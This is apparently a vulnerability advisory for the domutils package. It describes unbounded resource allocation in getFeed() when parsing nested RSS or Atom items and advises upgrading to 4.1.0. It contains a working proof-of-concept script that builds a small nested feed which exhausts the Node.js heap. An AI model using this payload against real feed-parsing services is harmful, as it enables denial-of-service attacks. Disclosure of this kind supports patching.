Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningUpgrade domutils to version 4.1.0 or higher.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via getFeed() in src/feeds.ts, when parsing RSS or Atom feeds containing nested item or entry elements. Because getFeed() collected item and entry elements at any depth below the feed root, an item nested inside another item was treated as an independent item, and its media elements were collected again for every enclosing item. This causes N nested items around M media:content elements to produce N × M media objects, exhausting the Node.js heap and terminating the process in a way that try/catch cannot prevent.
import { parseDocument } from "htmlparser2";
import { getFeed } from "domutils";
const n = 400;
const xml = "<rss><channel>" + "<item>".repeat(n) +
'<media:content url="x"/>'.repeat(n) + "</item>".repeat(n) +
"</channel></rss>";
const feed = getFeed(parseDocument(xml, { xmlMode: true }).children);
console.log(feed.items.reduce((sum, item) => sum + item.media.length, 0));
// 160000 with domutils 4.0.2 (15 KB of input)